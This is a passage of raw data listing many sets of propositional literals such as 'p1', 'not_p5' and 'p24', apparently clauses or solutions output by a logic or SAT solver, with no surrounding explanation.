p12, p3, not_p5, p6, p8, p24, not_p3, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p8, p24, not_p3, not_p2, not_p4} {not_p21, p1, p3, not_p5, p17, not_p20, p8, p24, not_p3, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, not_p3, p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, not_p3, p25, not_p2, not_p4} {not_p21, p1, p3, not_p5, p17, p8, p24, not_p3, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p8, p24, not_p8, not_p25, not_p4} {p18, p1, not_p12, not_p5, not_p15, p6, p8, p24, not_p25, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, not_p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, not_p25, not_p2, not_p4} {p18, p1, not_p12, not_p5, p17, not_p20, p8, p24, not_p25, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, not_p25, p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, not_p25, p25, not_p2, not_p4} {p18, p1, not_p12, not_p5, p17, p8, p24, not_p25, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p8, p24, not_p8, not_p25, not_p4} {not_p21, p18, p1, not_p5, not_p15, p6, p8, p24, not_p25, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, not_p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, not_p25, not_p2, not_p4} {not_p21, p18, p1, not_p5, p17, not_p20, p8, p24, not_p25, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, not_p25, p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, not_p25, p25, not_p2, not_p4} {not_p21, p18, p1, not_p5, p17, p8, p24, not_p25, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p8, p24, not_p8, not_p25, not_p4} {p20, p1, not_p12, not_p5, not_p15, p6, p8, p24, not_p25, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, not_p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, not_p25, not_p2, not_p4} {p20, p1, not_p12, not_p5, p17, not_p20, p8, p24, not_p25, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, not_p25, p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, not_p25, p25, not_p2, not_p4} {p20, p1, not_p12, not_p5, p17, p8, p24, not_p25, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p8, p24, not_p8, not_p25, not_p4} {not_p21, p20, p1, not_p5, not_p15, p6, p8, p24, not_p25, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, not_p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, not_p25, not_p2, not_p4} {not_p21, p20, p1, not_p5, p17, not_p20, p8, p24, not_p25, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, not_p25, p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, not_p25, p25, not_p2, not_p4} {not_p21, p20, p1, not_p5, p17, p8, p24, not_p25, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p8, p24, not_p8, not_p25, not_p4} {not_p21, p1, p3, not_p5, not_p15, p6, p8, p24, not_p25, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p8, p24, not_p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p8, p24, not_p25, not_p2, not_p4} {not_p21, p1, p3, not_p5, p17, not_p20, p8, p24, not_p25, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, not_p25, p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, not_p25, p25, not_p2, not_p4} {not_p21, p1, p3, not_p5, p17, p8, p24, not_p25, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p8, p24, not_p8, p9, not_p4} {not_p21, p18, p1, not_p5, p8, p24, not_p8, p9, not_p4} {p18, p1, not_p12, not_p5, p8, p24, not_p8, p14, p21, not_p4} {p18, p1, not_p12, not_p5, not_p20, p8, p24, not_p8, p14, not_p4} {p18, p1, p12, not_p12, not_p5, p8, p24, not_p8, p14, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p8, p24, not_p8, p14, not_p2, not_p4} {not_p21, p18, p1, not_p5, p8, p24, not_p8, p14, p21, not_p4} {not_p21, p18, p1, not_p5, not_p20, p8, p24, not_p8, p14, not_p4} {not_p21, p18, p1, p12, not_p5, p8, p24, not_p8, p14, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p8, p24, not_p8, p14, not_p2, not_p4} {p20, p1, not_p12, not_p5, not_p15, p8, p24, not_p8, p9, p7, not_p4} {not_p21, p20, p1, not_p5, not_p15, p8, p24, not_p8, p9, p7, not_p4} {p20, p1, p12, not_p12, not_p5, p8, p24, not_p8, p9, p7, not_p4} {not_p21, p20, p1, p12, not_p5, p8, p24, not_p8, p9, p7, not_p4} {p20, p1, not_p12, not_p5, p8, p24, not_p8, p14, p21, not_p4} {not_p21, p20, p1, not_p5, p8, p24, not_p8, p14, p21, not_p4} {p20, p1, not_p12, not_p5, not_p20, p8, p24, not_p8, p14, not_p4} {not_p21, p20, p1, not_p5, not_p20, p8, p24, not_p8, p14, not_p4} {p20, p1, p12, not_p12, not_p5, p8, p24, not_p8, p14, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p8, p24, not_p8, p14, not_p2, not_p4} {not_p21, p20, p1, p12, not_p5, p8, p24, not_p8, p14, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p8, p24, not_p8, p14, not_p2, not_p4} {not_p21, p1, p3, not_p5, not_p15, p8, p24, not_p8, p9, p7, not_p4} {not_p21, p1, p12, p3, not_p5, p8, p24, not_p8, p9, p7, not_p4} {not_p21, p1, p3, not_p5, p8, p24, not_p8, p14, p21, not_p4} {not_p21, p1, p3, not_p5, not_p20, p8, p24, not_p8, p14, not_p4} {not_p21, p1, p12, p3, not_p5, p8, p24, not_p8, p14, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p8, p24, not_p8, p14, not_p2, not_p4} {p18, p1, not_p12, not_p5, not_p15, p6, p8, p24, p9, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, p9, not_p4} {not_p21, p18, p1, not_p5, not_p15, p6, p8, p24, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, p9, not_p4} {p18, p1, not_p12, not_p5, p17, not_p20, p8, p24, p9, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, p9, p25, not_p4} {p18, p1, not_p12, not_p5, p17, p8, p24, p9, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p17, not_p20, p8, p24, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, p9, p25, not_p4} {not_p21, p18, p1, not_p5, p17, p8, p24, p9, p21, p25, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, p14, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, p14, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p8, p24, p14, not_p2, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p8, p24, p14, not_p2, not_p4} {p18, p1, not_p12, not_p5, not_p15, p6, p8, p24, p14, p21, not_p4} {not_p21, p18, p1, not_p5, not_p15, p6, p8, p24, p14, p21, not_p4} {p18, p1, not_p12, not_p5, not_p15, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p18, p1, not_p5, not_p15, p6, not_p20, p8, p24, p14, not_p4} {p18, p1, not_p12, not_p5, p17, not_p20, p8, p24, p14, not_p4} {p18, p1, not_p12, not_p5, p17, p8, p24, p14, p21, p25, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, p14, p25, not_p24, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p8, p24, p14, p25, not_p2, not_p4} {not_p21, p18, p1, not_p5, p17, not_p20, p8, p24, p14, not_p4} {not_p21, p18, p1, not_p5, p17, p8, p24, p14, p21, p25, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, p14, p25, not_p24, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p8, p24, p14, p25, not_p2, not_p4} {p20, p1, not_p12, not_p5, not_p15, p6, p8, p24, p9, not_p4} {not_p21, p20, p1, not_p5, not_p15, p6, p8, p24, p9, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, p9, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, p9, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, p14, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p8, p24, p14, not_p2, not_p4} {p20, p1, not_p12, not_p5, not_p15, p6, p8, p24, p14, p21, not_p4} {p20, p1, not_p12, not_p5, not_p15, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p20, p1, not_p5, not_p15, p6, p8, p24, p14, p21, not_p4} {not_p21, p20, p1, not_p5, not_p15, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, p14, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p8, p24, p14, not_p2, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, p9, p7, p25, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, p9, p7, p21, not_p4} {p20, p1, p12, not_p12, not_p5, p17, not_p20, p8, p24, p9, p7, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, p9, p7, p25, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, p9, p7, p21, not_p4} {not_p21, p20, p1, p12, not_p5, p17, not_p20, p8, p24, p9, p7, not_p4} {p20, p1, not_p12, not_p5, not_p15, p17, p8, p24, p9, p7, p21, not_p4} {not_p21, p20, p1, not_p5, not_p15, p17, p8, p24, p9, p7, p21, not_p4} {p20, p1, not_p12, not_p5, not_p15, p17, not_p20, p8, p24, p9, p7, not_p4} {not_p21, p20, p1, not_p5, not_p15, p17, not_p20, p8, p24, p9, p7, not_p4} {p20, p1, not_p12, not_p5, p17, not_p20, p8, p24, p14, not_p4} {p20, p1, not_p12, not_p5, p17, p8, p24, p14, p21, p25, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, p14, p25, not_p24, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p8, p24, p14, p25, not_p2, not_p4} {not_p21, p20, p1, not_p5, p17, not_p20, p8, p24, p14, not_p4} {not_p21, p20, p1, not_p5, p17, p8, p24, p14, p21, p25, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, p14, p25, not_p24, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p8, p24, p14, p25, not_p2, not_p4} {not_p21, p1, p3, not_p5, not_p15, p6, p8, p24, p9, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p8, p24, p9, not_p4} {not_p21, p1, p3, not_p5, not_p15, p6, p8, p24, p14, p21, not_p4} {not_p21, p1, p3, not_p5, not_p15, p6, not_p20, p8, p24, p14, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p8, p24, p14, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p8, p24, p14, not_p2, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, p9, p7, p25, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, p9, p7, p21, not_p4} {not_p21, p1, p12, p3, not_p5, p17, not_p20, p8, p24, p9, p7, not_p4} {not_p21, p1, p3, not_p5, not_p15, p17, p8, p24, p9, p7, p21, not_p4} {not_p21, p1, p3, not_p5, not_p15, p17, not_p20, p8, p24, p9, p7, not_p4} {not_p21, p1, p3, not_p5, p17, not_p20, p8, p24, p14, not_p4} {not_p21, p1, p3, not_p5, p17, p8, p24, p14, p21, p25, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, p14, p25, not_p24, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p8, p24, p14, p25, not_p2, not_p4} {p12, not_p12, not_p5, p17, p11, p24, p14, not_p18, not_p4} {p22, p12, not_p5, p17, p11, p24, p14, not_p18, not_p4} {not_p21, p12, not_p5, p17, p11, p24, p14, not_p18, not_p4} {p12, not_p12, not_p5, p17, p11, p24, not_p3, not_p18, not_p4} {p22, p12, not_p5, p17, p11, p24, not_p3, not_p18, not_p4} {not_p21, p12, not_p5, p17, p11, p24, not_p3, not_p18, not_p4} {p12, not_p12, not_p5, p17, p11, p24, not_p25, not_p18, not_p4} {p22, p12, not_p5, p17, p11, p24, not_p25, not_p18, not_p4} {not_p21, p12, not_p5, p17, p11, p24, not_p25, not_p18, not_p4} {p12, not_p12, not_p5, p17, p11, p24, p9, not_p18, not_p4} {p22, p12, not_p5, p17, p11, p24, p9, not_p18, not_p4} {not_p21, p12, not_p5, p17, p11, p24, p9, not_p18, not_p4} {not_p16, not_p12, not_p5, p17, p11, p24, p14, not_p18, p21, not_p4} {p22, not_p16, not_p5, p17, p11, p24, p14, not_p18, p21, not_p4} {not_p21, not_p16, not_p5, p17, p11, p24, p14, not_p18, p21, not_p4} {not_p16, not_p12, not_p5, p17, p11, p24, not_p3, not_p18, p21, not_p4} {p22, not_p16, not_p5, p17, p11, p24, not_p3, not_p18, p21, not_p4} {not_p21, not_p16, not_p5, p17, p11, p24, not_p3, not_p18, p21, not_p4} {not_p16, not_p12, not_p5, p17, p11, p24, not_p25, not_p18, p21, not_p4} {p22, not_p16, not_p5, p17, p11, p24, not_p25, not_p18, p21, not_p4} {not_p21, not_p16, not_p5, p17, p11, p24, not_p25, not_p18, p21, not_p4} {not_p16, not_p12, not_p5, p17, p11, p24, p9, not_p18, p21, not_p4} {p22, not_p16, not_p5, p17, p11, p24, p9, not_p18, p21, not_p4} {not_p21, not_p16, not_p5, p17, p11, p24, p9, not_p18, p21, not_p4} {p2, not_p12, not_p5, p17, p11, p24, p14, not_p18, p21, not_p4} {p22, p2, not_p5, p17, p11, p24, p14, not_p18, p21, not_p4} {not_p21, p2, not_p5, p17, p11, p24, p14, not_p18, p21, not_p4} {p2, not_p12, not_p5, p17, p11, p24, not_p3, not_p18, p21, not_p4} {p22, p2, not_p5, p17, p11, p24, not_p3, not_p18, p21, not_p4} {not_p21, p2, not_p5, p17, p11, p24, not_p3, not_p18, p21, not_p4} {p2, not_p12, not_p5, p17, p11, p24, not_p25, not_p18, p21, not_p4} {p22, p2, not_p5, p17, p11, p24, not_p25, not_p18, p21, not_p4} {not_p21, p2, not_p5, p17, p11, p24, not_p25, not_p18, p21, not_p4} {p2, not_p12, not_p5, p17, p11, p24, p9, not_p18, p21, not_p4} {p22, p2, not_p5, p17, p11, p24, p9, not_p18, p21, not_p4} {not_p21, p2, not_p5, p17, p11, p24, p9, not_p18, p21, not_p4} {not_p16, not_p12, not_p5, p17, p11, not_p20, p24, not_p3, not_p18, not_p4} {p22, not_p16, not_p5, p17, p11, not_p20, p24, not_p3, not_p18, not_p4} {not_p21, not_p16, not_p5, p17, p11, not_p20, p24, not_p3, not_p18, not_p4} {p2, not_p12, not_p5, p17, p11, not_p20, p24, not_p3, not_p18, not_p4} {p22, p2, not_p5, p17, p11, not_p20, p24, not_p3, not_p18, not_p4} {not_p21, p2, not_p5, p17, p11, not_p20, p24, not_p3, not_p18, not_p4} {not_p16, not_p12, not_p5, p17, p11, not_p20, p24, not_p25, not_p18, not_p4} {p22, not_p16, not_p5, p17, p11, not_p20, p24, not_p25, not_p18, not_p4} {not_p21, not_p16, not_p5, p17, p11, not_p20, p24, not_p25, not_p18, not_p4} {p2, not_p12, not_p5, p17, p11, not_p20, p24, not_p25, not_p18, not_p4} {p22, p2, not_p5, p17, p11, not_p20, p24, not_p25, not_p18, not_p4} {not_p21, p2, not_p5, p17, p11, not_p20, p24, not_p25, not_p18, not_p4} {not_p16, not_p12, not_p5, p17, p11, not_p20, p24, p14, not_p18, not_p4} {p22, not_p16, not_p5, p17, p11, not_p20, p24, p14, not_p18, not_p4} {not_p21, not_p16, not_p5, p17, p11, not_p20, p24, p14, not_p18, not_p4} {p2, not_p12, not_p5, p17, p11, not_p20, p24, p14, not_p18, not_p4} {p22, p2, not_p5, p17, p11, not_p20, p24, p14, not_p18, not_p4} {not_p21, p2, not_p5, p17, p11, not_p20, p24, p14, not_p18, not_p4} {not_p16, not_p12, not_p5, p17, p11, not_p20, p24, p9, not_p18, not_p4} {p22, not_p16, not_p5, p17, p11, not_p20, p24, p9, not_p18, not_p4} {not_p21, not_p16, not_p5, p17, p11, not_p20, p24, p9, not_p18, not_p4} {p2, not_p12, not_p5, p17, p11, not_p20, p24, p9, not_p18, not_p4} {p22, p2, not_p5, p17, p11, not_p20, p24, p9, not_p18, not_p4} {not_p21, p2, not_p5, p17, p11, not_p20, p24, p9, not_p18, not_p4} {p12, not_p12, not_p5, p11, p24, p14, not_p18, not_p4, not_p19} {p22, p12, not_p5, p11, p24, p14, not_p18, not_p4, not_p19} {not_p21, p12, not_p5, p11, p24, p14, not_p18, not_p4, not_p19} {p12, not_p12, not_p5, p11, p24, not_p8, p14, not_p18, not_p4} {p22, p12, not_p5, p11, p24, not_p8, p14, not_p18, not_p4} {not_p21, p12, not_p5, p11, p24, not_p8, p14, not_p18, not_p4} {p12, not_p12, not_p5, p6, p11, p24, p14, not_p18, not_p4} {p22, p12, not_p5, p6, p11, p24, p14, not_p18, not_p4} {not_p21, p12, not_p5, p6, p11, p24, p14, not_p18, not_p4} {p12, not_p12, not_p5, p11, p24, not_p3, not_p18, not_p4, not_p19} {p22, p12, not_p5, p11, p24, not_p3, not_p18, not_p4, not_p19} {not_p21, p12, not_p5, p11, p24, not_p3, not_p18, not_p4, not_p19} {p12, not_p12, not_p5, p11, p24, not_p25, not_p18, not_p4, not_p19} {p22, p12, not_p5, p11, p24, not_p25, not_p18, not_p4, not_p19} {not_p21, p12, not_p5, p11, p24, not_p25, not_p18, not_p4, not_p19} {p12, not_p12, not_p5, p11, p24, p9, not_p18, not_p4, not_p19} {p22, p12, not_p5, p11, p24, p9, not_p18, not_p4, not_p19} {not_p21, p12, not_p5, p11, p24, p9, not_p18, not_p4, not_p19} {p12, not_p12, not_p5, p11, p24, not_p8, not_p3, not_p18, not_p4} {p22, p12, not_p5, p11, p24, not_p8, not_p3, not_p18, not_p4} {not_p21, p12, not_p5, p11, p24, not_p8, not_p3, not_p18, not_p4} {p12, not_p12, not_p5, p6, p11, p24, not_p3, not_p18, not_p4} {p22, p12, not_p5, p6, p11, p24, not_p3, not_p18, not_p4} {not_p21, p12, not_p5, p6, p11, p24, not_p3, not_p18, not_p4} {p12, not_p12, not_p5, p11, p24, not_p8, not_p25, not_p18, not_p4} {p22, p12, not_p5, p11, p24, not_p8, not_p25, not_p18, not_p4} {not_p21, p12, not_p5, p11, p24, not_p8, not_p25, not_p18, not_p4} {p12, not_p12, not_p5, p6, p11, p24, not_p25, not_p18, not_p4} {p22, p12, not_p5, p6, p11, p24, not_p25, not_p18, not_p4} {not_p21, p12, not_p5, p6, p11, p24, not_p25, not_p18, not_p4} {p12, not_p12, not_p5, p11, p24, not_p8, p9, not_p18, not_p4} {p22, p12, not_p5, p11, p24, not_p8, p9, not_p18, not_p4} {not_p21, p12, not_p5, p11, p24, not_p8, p9, not_p18, not_p4} {p12, not_p12, not_p5, p6, p11, p24, p9, not_p18, not_p4} {p22, p12, not_p5, p6, p11, p24, p9, not_p18, not_p4} {not_p21, p12, not_p5, p6, p11, p24, p9, not_p18, not_p4} {not_p16, not_p12, not_p5, p11, p24, not_p8, not_p3, not_p18, p25, not_p4} {p22, not_p16, not_p5, p11, p24, not_p8, not_p3, not_p18, p25, not_p4} {not_p21, not_p16, not_p5, p11, p24, not_p8, not_p3, not_p18, p25, not_p4} {not_p16, not_p12, not_p5, p11, p24, not_p8, p14, not_p18, p21, p25, not_p4} {p22, not_p16, not_p5, p11, p24, not_p8, p14, not_p18, p21, p25, not_p4} {not_p21, not_p16, not_p5, p11, p24, not_p8, p14, not_p18, p21, p25, not_p4} {not_p16, not_p12, not_p5, p11, not_p20, p24, not_p8, p14, not_p18, p25, not_p4} {p22, not_p16, not_p5, p11, not_p20, p24, not_p8, p14, not_p18, p25, not_p4} {not_p21, not_p16, not_p5, p11, not_p20, p24, not_p8, p14, not_p18, p25, not_p4} {not_p16, not_p12, not_p5, p11, p24, not_p8, not_p25, not_p18, p25, not_p4} {p22, not_p16, not_p5, p11, p24, not_p8, not_p25, not_p18, p25, not_p4} {not_p21, not_p16, not_p5, p11, p24, not_p8, not_p25, not_p18, p25, not_p4} {not_p16, not_p12, not_p5, p11, p24, not_p8, p9, not_p18, p25, not_p4} {p22, not_p16, not_p5, p11, p24, not_p8, p9, not_p18, p25, not_p4} {not_p21, not_p16, not_p5, p11, p24, not_p8, p9, not_p18, p25, not_p4} {p2, not_p12, not_p5, p11, p24, not_p8, not_p3, not_p18, p25, not_p4} {p22, p2, not_p5, p11, p24, not_p8, not_p3, not_p18, p25, not_p4} {not_p21, p2, not_p5, p11, p24, not_p8, not_p3, not_p18, p25, not_p4} {p2, not_p12, not_p5, p11, p24, not_p8, p14, not_p18, p21, p25, not_p4} {p22, p2, not_p5, p11, p24, not_p8, p14, not_p18, p21, p25, not_p4} {not_p21, p2, not_p5, p11, p24, not_p8, p14, not_p18, p21, p25, not_p4} {p2, not_p12, not_p5, p11, not_p20, p24, not_p8, p14, not_p18, p25, not_p4} {p22, p2, not_p5, p11, not_p20, p24, not_p8, p14, not_p18, p25, not_p4} {not_p21, p2, not_p5, p11, not_p20, p24, not_p8, p14, not_p18, p25, not_p4} {p2, not_p12, not_p5, p11, p24, not_p8, not_p25, not_p18, p25, not_p4} {p22, p2, not_p5, p11, p24, not_p8, not_p25, not_p18, p25, not_p4} {not_p21, p2, not_p5, p11, p24, not_p8, not_p25, not_p18, p25, not_p4} {p2, not_p12, not_p5, p11, p24, not_p8, p9, not_p18, p25, not_p4} {p22, p2, not_p5, p11, p24, not_p8, p9, not_p18, p25, not_p4} {not_p21, p2, not_p5, p11, p24, not_p8, p9, not_p18, p25, not_p4} {not_p16, not_p12, not_p5, p11, p8, p24, not_p8, not_p3, not_p18, not_p4} {p22, not_p16, not_p5, p11, p8, p24, not_p8, not_p3, not_p18, not_p4} {not_p21, not_p16, not_p5, p11, p8, p24, not_p8, not_p3, not_p18, not_p4} {not_p16, not_p12, not_p5, p11, p8, p24, not_p8, not_p25, not_p18, not_p4} {p22, not_p16, not_p5, p11, p8, p24, not_p8, not_p25, not_p18, not_p4} {not_p21, not_p16, not_p5, p11, p8, p24, not_p8, not_p25, not_p18, not_p4} {not_p16, not_p12, not_p5, p11, p8, p24, not_p8, p9, not_p18, not_p4} {p22, not_p16, not_p5, p11, p8, p24, not_p8, p9, not_p18, not_p4} {not_p21, not_p16, not_p5, p11, p8, p24, not_p8, p9, not_p18, not_p4} {not_p16, not_p12, not_p5, p11, p8, p24, not_p8, p14, not_p18, p21, not_p4} {not_p16, not_p12, not_p5, p11, not_p20, p8, p24, not_p8, p14, not_p18, not_p4} {p22, not_p16, not_p5, p11, p8, p24, not_p8, p14, not_p18, p21, not_p4} {not_p21, not_p16, not_p5, p11, p8, p24, not_p8, p14, not_p18, p21, not_p4} {p22, not_p16, not_p5, p11, not_p20, p8, p24, not_p8, p14, not_p18, not_p4} {not_p21, not_p16, not_p5, p11, not_p20, p8, p24, not_p8, p14, not_p18, not_p4} {p2, not_p12, not_p5, p11, p8, p24, not_p8, not_p3, not_p18, not_p4} {p22, p2, not_p5, p11, p8, p24, not_p8, not_p3, not_p18, not_p4} {not_p21, p2, not_p5, p11, p8, p24, not_p8, not_p3, not_p18, not_p4} {p2, not_p12, not_p5, p11, p8, p24, not_p8, not_p25, not_p18, not_p4} {p22, p2, not_p5, p11, p8, p24, not_p8, not_p25, not_p18, not_p4} {not_p21, p2, not_p5, p11, p8, p24, not_p8, not_p25, not_p18, not_p4} {p2, not_p12, not_p5, p11, p8, p24, not_p8, p9, not_p18, not_p4} {p22, p2, not_p5, p11, p8, p24, not_p8, p9, not_p18, not_p4} {not_p21, p2, not_p5, p11, p8, p24, not_p8, p9, not_p18, not_p4} {p2, not_p12, not_p5, p11, p8, p24, not_p8, p14, not_p18, p21, not_p4} {p2, not_p12, not_p5, p11, not_p20, p8, p24, not_p8, p14, not_p18, not_p4} {p22, p2, not_p5, p11, p8, p24, not_p8, p14, not_p18, p21, not_p4} {p22, p2, not_p5, p11, not_p20, p8, p24, not_p8, p14, not_p18, not_p4} {not_p21, p2, not_p5, p11, p8, p24, not_p8, p14, not_p18, p21, not_p4} {not_p21, p2, not_p5, p11, not_p20, p8, p24, not_p8, p14, not_p18, not_p4} {not_p16, not_p12, not_p5, p11, p8, p24, not_p3, not_p18, not_p4, not_p19} {p22, not_p16, not_p5, p11, p8, p24, not_p3, not_p18, not_p4, not_p19} {not_p21, not_p16, not_p5, p11, p8, p24, not_p3, not_p18, not_p4, not_p19} {not_p16, not_p12, not_p5, p11, p8, p24, not_p25, not_p18, not_p4, not_p19} {p22, not_p16, not_p5, p11, p8, p24, not_p25, not_p18, not_p4, not_p19} {not_p21, not_p16, not_p5, p11, p8, p24, not_p25, not_p18, not_p4, not_p19} {not_p16, not_p12, not_p5, p11, p8, p24, p9, not_p18, not_p4, not_p19} {p22, not_p16, not_p5, p11, p8, p24, p9, not_p18, not_p4, not_p19} {not_p21, not_p16, not_p5, p11, p8, p24, p9, not_p18, not_p4, not_p19} {not_p16, not_p12, not_p5, p11, p8, p24, p14, not_p18, p21, not_p4, not_p19} {not_p16, not_p12, not_p5, p11, not_p20, p8, p24, p14, not_p18, not_p4, not_p19} {p22, not_p16, not_p5, p11, p8, p24, p14, not_p18, p21, not_p4, not_p19} {not_p21, not_p16, not_p5, p11, p8, p24, p14, not_p18, p21, not_p4, not_p19} {p22, not_p16, not_p5, p11, not_p20, p8, p24, p14, not_p18, not_p4, not_p19} {not_p21, not_p16, not_p5, p11, not_p20, p8, p24, p14, not_p18, not_p4, not_p19} {p2, not_p12, not_p5, p11, p8, p24, not_p3, not_p18, not_p4, not_p19} {p22, p2, not_p5, p11, p8, p24, not_p3, not_p18, not_p4, not_p19} {not_p21, p2, not_p5, p11, p8, p24, not_p3, not_p18, not_p4, not_p19} {p2, not_p12, not_p5, p11, p8, p24, not_p25, not_p18, not_p4, not_p19} {p22, p2, not_p5, p11, p8, p24, not_p25, not_p18, not_p4, not_p19} {not_p21, p2, not_p5, p11, p8, p24, not_p25, not_p18, not_p4, not_p19} {p2, not_p12, not_p5, p11, p8, p24, p9, not_p18, not_p4, not_p19} {p22, p2, not_p5, p11, p8, p24, p9, not_p18, not_p4, not_p19} {not_p21, p2, not_p5, p11, p8, p24, p9, not_p18, not_p4, not_p19} {p2, not_p12, not_p5, p11, p8, p24, p14, not_p18, p21, not_p4, not_p19} {p22, p2, not_p5, p11, p8, p24, p14, not_p18, p21, not_p4, not_p19} {not_p21, p2, not_p5, p11, p8, p24, p14, not_p18, p21, not_p4, not_p19} {p22, p2, not_p5, p11, not_p20, p8, p24, p14, not_p18, not_p4, not_p19} {p2, not_p12, not_p5, p11, not_p20, p8, p24, p14, not_p18, not_p4, not_p19} {not_p21, p2, not_p5, p11, not_p20, p8, p24, p14, not_p18, not_p4, not_p19} {not_p16, not_p12, not_p5, p6, p11, p8, p24, not_p3, not_p18, not_p4} {p22, not_p16, not_p5, p6, p11, p8, p24, not_p3, not_p18, not_p4} {not_p21, not_p16, not_p5, p6, p11, p8, p24, not_p3, not_p18, not_p4} {not_p16, not_p12, not_p5, p6, p11, p8, p24, not_p25, not_p18, not_p4} {p22, not_p16, not_p5, p6, p11, p8, p24, not_p25, not_p18, not_p4} {not_p21, not_p16, not_p5, p6, p11, p8, p24, not_p25, not_p18, not_p4} {not_p16, not_p12, not_p5, p6, p11, p8, p24, p9, not_p18, not_p4} {p22, not_p16, not_p5, p6, p11, p8, p24, p9, not_p18, not_p4} {not_p21, not_p16, not_p5, p6, p11, p8, p24, p9, not_p18, not_p4} {not_p16, not_p12, not_p5, p6, p11, p8, p24, p14, not_p18, p21, not_p4} {not_p16, not_p12, not_p5, p6, p11, not_p20, p8, p24, p14, not_p18, not_p4} {p22, not_p16, not_p5, p6, p11, p8, p24, p14, not_p18, p21, not_p4} {not_p21, not_p16, not_p5, p6, p11, p8, p24, p14, not_p18, p21, not_p4} {p22, not_p16, not_p5, p6, p11, not_p20, p8, p24, p14, not_p18, not_p4} {not_p21, not_p16, not_p5, p6, p11, not_p20, p8, p24, p14, not_p18, not_p4} {p2, not_p12, not_p5, p6, p11, p8, p24, not_p3, not_p18, not_p4} {p22, p2, not_p5, p6, p11, p8, p24, not_p3, not_p18, not_p4} {not_p21, p2, not_p5, p6, p11, p8, p24, not_p3, not_p18, not_p4} {p2, not_p12, not_p5, p6, p11, p8, p24, not_p25, not_p18, not_p4} {p22, p2, not_p5, p6, p11, p8, p24, not_p25, not_p18, not_p4} {not_p21, p2, not_p5, p6, p11, p8, p24, not_p25, not_p18, not_p4} {p2, not_p12, not_p5, p6, p11, p8, p24, p9, not_p18, not_p4} {p22, p2, not_p5, p6, p11, p8, p24, p9, not_p18, not_p4} {not_p21, p2, not_p5, p6, p11, p8, p24, p9, not_p18, not_p4} {p2, not_p12, not_p5, p6, p11, p8, p24, p14, not_p18, p21, not_p4} {p22, p2, not_p5, p6, p11, p8, p24, p14, not_p18, p21, not_p4} {not_p21, p2, not_p5, p6, p11, p8, p24, p14, not_p18, p21, not_p4} {p22, p2, not_p5, p6, p11, not_p20, p8, p24, p14, not_p18, 